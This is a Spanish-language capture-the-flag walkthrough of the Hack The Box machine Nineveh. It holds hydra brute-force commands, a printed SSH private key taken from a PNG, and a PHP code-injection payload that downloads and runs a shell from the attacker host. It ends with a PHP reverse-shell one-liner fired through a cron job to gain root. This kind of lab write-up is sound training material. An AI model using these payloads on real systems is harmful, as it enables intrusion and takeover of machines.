OSCP Path ~ Nineveh Hack The Box (Necesario VIP)
Nineveh ~ Hack The Box to OSCP
Realizamos el Primer escaneo con Nmap
$" nmap -p- --open -sS --min-rate 4000 -vvv -n -Pn -oG allports 10.10.10.43 "
Procedemos con el siguiente escaneo de Nmap
# nmap -sC -sV -p80,443 10.10.10.43 -oN target 1 ⚙
Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-10 12:31 CEST
Nmap scan report for 10.10.10.43
Host is up (0.054s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
443/tcp open ssl/http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
| ssl-cert: Subject: commonName=nineveh.htb/organizationName=HackTheBox Ltd/stateOrProvinceName=Athens/countryName=GR
| Not valid before: 2017-07-01T15:03:30
|_Not valid after: 2018-07-01T15:03:30
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_ http/1.1
Encontramos un dominio para meter en nuestro /etc/hosts
Lanzamos el script de nmap http-enum
a nivel web
PORT STATE SERVICE
80/tcp open http
| http-enum:
|_ /info.php: Possible information file
Lanzamos la herramienta Whatweb
# whatweb http://10.10.10.43 1 ⚙
http://10.10.10.43 [200 OK] Apache[2.4.18], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2.4.18 (Ubuntu)], IP[10.10.10.43]
Probamos a hacer un fuzzing a nivel del dominio web encontrado
# wfuzz -c -L --hc=404 -t 200 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt https://nineveh.htb/FUZZ 130 ⨯ 1 ⚙
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: https://nineveh.htb/FUZZ
Total requests: 220547
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000835: 200 485 L 974 W 11430 Ch "db"
000045227: 200 1 L 3 W 49 Ch "https://nineveh.htb/"
000095511: 403 11 L 32 W 300 Ch "server-status"
000095763: 200 5 L 7 W 71 Ch "secure_notes"
Chequeamos la web version http y fuzzeamos como en https a ver si encontramos lo mismo o no.
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://10.10.10.43/FUZZ
Total requests: 220547
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000003008: 200 1 L 3 W 68 Ch "department"
Encontramos un login /department/
a nivel de http://10.10.10.43/
En el cual tambien podemos probar a hacer fuerza bruta, y probando usuarios vemos que para el usuario Admin tenemos una respuesta diferente dandonos a entender que el usuario admin existe a nivel del loguin web.
# hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.10.43 http-form-post "/department/login.php:username=^USER^&password=^PASS^:Invalid Password\!" -V -t 64
[80][http-post-form] host: 10.10.10.43 login: admin password: 1q2w3e4r5t
1 of 1 target successfully completed, 1 valid password found
A nivel https://nineveh.htb/
encontramos que en la ruta secure_notes
hay una imagen de extension .php
.
Nos la descargamos y miramos a ver si encontramos algo interesante:
Sacamos informacion oculta de la imagen en .png encontrada en la ruta https://nineveh.htb/secure_notes/nineveh.png
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAri9EUD7bwqbmEsEpIeTr2KGP/wk8YAR0Z4mmvHNJ3UfsAhpI
H9/Bz1abFbrt16vH6/jd8m0urg/Em7d/FJncpPiIH81JbJ0pyTBvIAGNK7PhaQXU
PdT9y0xEEH0apbJkuknP4FH5Zrq0nhoDTa2WxXDcSS1ndt/M8r+eTHx1bVznlBG5
FQq1/wmB65c8bds5tETlacr/15Ofv1A2j+vIdggxNgm8A34xZiP/WV7+7mhgvcnI
3oqwvxCI+VGhQZhoV9Pdj4+D4l023Ub9KyGm40tinCXePsMdY4KOLTR/z+oj4sQT
X+/1/xcl61LADcYk0Sw42bOb+yBEyc1TTq1NEQIDAQABAoIBAFvDbvvPgbr0bjTn
KiI/FbjUtKWpWfNDpYd+TybsnbdD0qPw8JpKKTJv79fs2KxMRVCdlV/IAVWV3QAk
FYDm5gTLIfuPDOV5jq/9Ii38Y0DozRGlDoFcmi/mB92f6s/sQYCarjcBOKDUL58z
GRZtIwb1RDgRAXbwxGoGZQDqeHqaHciGFOugKQJmupo5hXOkfMg/G+Ic0Ij45uoR
JZecF3lx0kx0Ay85DcBkoYRiyn+nNgr/APJBXe9Ibkq4j0lj29V5dT/HSoF17VWo
9odiTBWwwzPVv0i/JEGc6sXUD0mXevoQIA9SkZ2OJXO8JoaQcRz628dOdukG6Utu
Bato3bkCgYEA5w2Hfp2Ayol24bDejSDj1Rjk6REn5D8TuELQ0cffPujZ4szXW5Kb
ujOUscFgZf2P+70UnaceCCAPNYmsaSVSCM0KCJQt5klY2DLWNUaCU3OEpREIWkyl
1tXMOZ/T5fV8RQAZrj1BMxl+/UiV0IIbgF07sPqSA/uNXwx2cLCkhucCgYEAwP3b
vCMuW7qAc9K1Amz3+6dfa9bngtMjpr+wb+IP5UKMuh1mwcHWKjFIF8zI8CY0Iakx
DdhOa4x+0MQEtKXtgaADuHh+NGCltTLLckfEAMNGQHfBgWgBRS8EjXJ4e55hFV89
P+6+1FXXA1r/Dt/zIYN3Vtgo28mNNyK7rCr/pUcCgYEAgHMDCp7hRLfbQWkksGzC
fGuUhwWkmb1/ZwauNJHbSIwG5ZFfgGcm8ANQ/Ok2gDzQ2PCrD2Iizf2UtvzMvr+i
tYXXuCE4yzenjrnkYEXMmjw0V9f6PskxwRemq7pxAPzSk0GVBUrEfnYEJSc/MmXC
iEBMuPz0RAaK93ZkOg3Zya0CgYBYbPhdP5FiHhX0+7pMHjmRaKLj+lehLbTMFlB1
MxMtbEymigonBPVn56Ssovv+bMK+GZOMUGu+A2WnqeiuDMjB99s8jpjkztOeLmPh
PNilsNNjfnt/G3RZiq1/Uc+6dFrvO/AIdw+goqQduXfcDOiNlnr7o5c0/Shi9tse
i6UOyQKBgCgvck5Z1iLrY1qO5iZ3uVr4pqXHyG8ThrsTffkSVrBKHTmsXgtRhHoc
il6RYzQV/2ULgUBfAwdZDNtGxbu5oIUB938TCaLsHFDK6mSTbvB/DywYYScAWwF7
fw4LVXdQMjNJC3sn3JaqY1zJkE4jXlZeNQvCx4ZadtdJD9iO+EUG
-----END RSA PRIVATE KEY-----
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCuL0RQPtvCpuYSwSkh5OvYoY/
/CTxgBHRniaa8c0ndR+wCGkgf38HPVpsVuu3Xq8fr+N3ybS6uD8Sbt38Umdyk+IgfzUlsnSnJMG8gAY0rs+FpBdQ91P3LTEQQfRqlsmS6Sc
/gUflmurSeGgNNrZbFcNxJLWd238zyv55MfHVtXOeUEbkVCrX
/CYHrlzxt2zm0ROVpyv/Xk5+/UDaP68h2CDE2CbwDfjFmI/9ZXv7uaGC9ycjeirC
/EIj5UaFBmGhX092Pj4PiXTbdRv0rIabjS2KcJd4+wx1jgo4tNH/P6iPixBNf7
/X/FyXrUsANxiTRLDjZs5v7IETJzVNOrU0R
amrois@nineveh.htb
Y encontramos al posible usuario con el que conectarnos con esta clave privada de SSH
amrois
Guardamos la clave ssh privada encontrada con permisos 600 y hacemos memoria, ya que en los servicios abiertos no veiamos ningun servicio ssh abierto en la maquina.
Proseguimos por otra via enumerando el directorio o ruta /db/
Encontramos algo interesante en /db/
phpLiteAdmin v1.9
Warning: rand() expects parameter 2 to be integer, float given in /var/www/ssl/db/index.php on line 114
Probamos a hacer fuerza bruta con HYDRA
:
# hydra -l none -P /usr/share/wordlists/rockyou.txt 10.10.10.43 httpS-form-post "/db/index.php:password=^PASS^&remember=yes&login=Log+In&proc_login=true:Incorrect password." -V
[443][http-post-form] host: 10.10.10.43 login: none "password: password123"
Buscamos por searchsploit:
# searchsploit phpLiteAdmin 1.9
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
PHPLiteAdmin 1.9.3 - Remote PHP Code Injection | php/webapps/24044.txt
phpLiteAdmin 1.9.6 - Multiple Vulnerabilities | php/webapps/39714.txt
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Conseguimos acceder al servicio phpLiteAdmin
Y leyendo la vulnerabilidad encontrada en la version 1.9.3 vemos que creando una nueva Base de Datos
con extension .php
podemos inyectar una nueva tabla que almacene una cadena tipo TXT en donde podemos meterle un codigo php malicioso
Creamos una nueva base de datos con extension .php
en phpLiteAdmin
ruta: https://nineveh.htb/db/index.php?switchdb=%2Fvar%2Ftmp%2FninevehNotes.php
Nombre de la BD creada ninevehNotes.php
le agregamos un campo “shell” 1 de valor
, despues llamamos shell a la tabla
, tipe TXT
y le metemos el comando malicioso en php en la opcion default Value
para que se ejecute al final.
<?php system("wget http://10.10.14.12/shell.txt -O /tmp/shell.php; php /tmp/shell.php"); ?>
Credenciales Obtenidas hasta el momento:
Para phpLiteAdmin: password123
Para login en Https /department/:
User: admin
Password: 1q2w3e4r5t
Entramos a la web HTTP con las credenciales y descubrimos que existe un LFI en la ruta
http://10.10.10.43/department/manage.php?notes=/var/tmp/ninevehNotes.php
Habiendo creado nuestra nueva base de datos con nuestro codigo malicioso en php probamos a apuntar desde el LFI.
Apuntamos a la ruta /var/tmp/ninevehNotes.php
Habiendo puesto un servidor en escucha almacentando nuestra “Reverse_Shell_PHP”
→ 'shell.txt'
para que se nos envie una conexion reversa cuando se ejecute por el puerto 1234
Montamos un servidor con python3 para postear la shell.txt
y subirla al servidor victima.
# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.43 - - [12/Jul/2021 16:27:05] "GET /shell.txt HTTP/1.1" 200 -
Obtenemos Acceso desde nuestra session a la escucha por el puerto 1234
# nc -nlvp 1234
listening on [any] 1234 ...
connect to [10.10.14.12] from (UNKNOWN) [10.10.10.43] 54202
Linux nineveh 4.4.0-62-generic #83-Ubuntu SMP Wed Jan 18 14:10:15 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
15:54:35 up 28 min, 0 users, load average: 0.02, 0.06, 0.07
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
Escalada de Privilegios de www-data a amrois
- PORTKNOCKING
Hay un proceso de portKnocking o golpes TCP UDP para abrir un servicio
Miramos por los procesos ejecutados a nivel de root en el sistema.
#ps -aux
root 1309 1.1 0.2 8756 2224 ? Ss 06:47 0:40 /usr/sbin/knock
Nos movemos a buscar el fichero de configuracion de nockd.conf
www-data@nineveh:/etc$ cat knockd.conf
[options]
logfile = /var/log/knockd.log
interface = ens160
[openSSH]
sequence = 571, 290, 911
seq_timeout = 5
start_command = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT
tcpflags = syn
[closeSSH]
sequence = 911,290,571
seq_timeout = 5
start_command = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT
tcpflags = syn
Desde nuestro pc attackante: hacemos lo siguiente para golpear los puertos y que se abra el servicio SSH
# for x in 571 290 911; do nmap -Pn --max-retries 0 -p $x 10.10.10.43; done
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-12 17:09 CEST
Warning: 10.10.10.43 giving up on port because retransmission cap hit (0).
Nmap scan report for nineveh.htb (10.10.10.43)
Host is up.
PORT STATE SERVICE
571/tcp filtered umeter
Nmap done: 1 IP address (1 host up) scanned in 1.44 seconds
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-12 17:09 CEST
Warning: 10.10.10.43 giving up on port because retransmission cap hit (0).
Nmap scan report for nineveh.htb (10.10.10.43)
Host is up.
PORT STATE SERVICE
290/tcp filtered unknown
Nmap done: 1 IP address (1 host up) scanned in 1.16 seconds
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-12 17:09 CEST
Warning: 10.10.10.43 giving up on port because retransmission cap hit (0).
Nmap scan report for nineveh.htb (10.10.10.43)
Host is up.
PORT STATE SERVICE
911/tcp filtered xact-backup
Nmap done: 1 IP address (1 host up) scanned in 1.20 seconds
Acto seguido nos conectamos por SSH con la clave ID_RSA con premisos 600
usamos la clave id_rsa encontrada en la foto .png
# ssh -i id_rsa amrois@nineveh.htb
The authenticity of host 'nineveh.htb (10.10.10.43)' can't be established.
ECDSA key fingerprint is SHA256:aWXPsULnr55BcRUl/zX0n4gfJy5fg29KkuvnADFyMvk.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'nineveh.htb,10.10.10.43' (ECDSA) to the list of known hosts.
Ubuntu 16.04.2 LTS
Welcome to Ubuntu 16.04.2 LTS (GNU/Linux 4.4.0-62-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
288 packages can be updated.
207 updates are security updates.
You have mail.
Last login: Mon Jul 3 00:19:59 2017 from 192.168.0.14
amrois@nineveh:~$ ls
user.txt
amrois@nineveh:~$ cat user.txt
42a4d28xxxxxxxxxxxxxxxxxxxxxxxxx
amrois@nineveh:~$
Enumeracion para escalar privilegios a ROOT
amrois@nineveh:~$ crontab -l
# Edit this file to introduce tasks to be run by cron.
# Each task to run has to be defined through a single line
# indicating with different fields when the task will be run
# and what command to run for the task
#
# To define the time you can provide concrete values for
# minute (m), hour (h), day of month (dom), month (mon),
# and day of week (dow) or use '*' in these fields (for 'any').#
# Notice that tasks will be started based on the cron's system
# daemon's notion of time and timezones.
# Output of the crontab jobs (including errors) is sent through
# email to the user the crontab file belongs to (unless redirected).
#
# For example, you can run a backup of all your user accounts
# at 5 a.m every week with:
# 0 5 * * 1 tar -zcf /var/backups/home.tgz /home/
#
# For more information see the manual pages of crontab(5) and cron(8)
#
# m h dom mon dow command
*/10 * * * * /usr/sbin/report-reset.sh
Ahi tenemos una tarea CRON que tira de este script que esta creado por nosotros
-rwxr-x--- 1 amrois amrois 34 Jul 2 2017 /usr/sbin/report-reset.sh
Creamos un archivo en la ruta /tmp/UPDATE
Creamos el archivo UPDATE
en tmp
para que se ejecute con la tarea CRON
que esta ejecutando /usr/sbin/report-reset.sh
R-shell
en php
# Archivo Update
php -r '$sock=fsockopen("10.10.14.12",443);exec("/bin/sh -i <&3 >&3 2>&3");'
Le asignamos los privilegios de ejecucion para que root
pueda ejecutarlo:
amrois@nineveh:/tmp$ chmod +x update
amrois@nineveh:/tmp$ /usr/sbin/report-reset.sh
Nos ponemos a la escucha con una session de nc -vlnp 443
y recibimos la R-shell cuando se ejecute la tarea
CRON`
# nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.12] from (UNKNOWN) [10.10.10.43] 58308
/bin/sh: 0: can't access tty; job control turned off
# whoami
root
#
2a7156085834f2fe318exxxxxxxxxxf3e6a5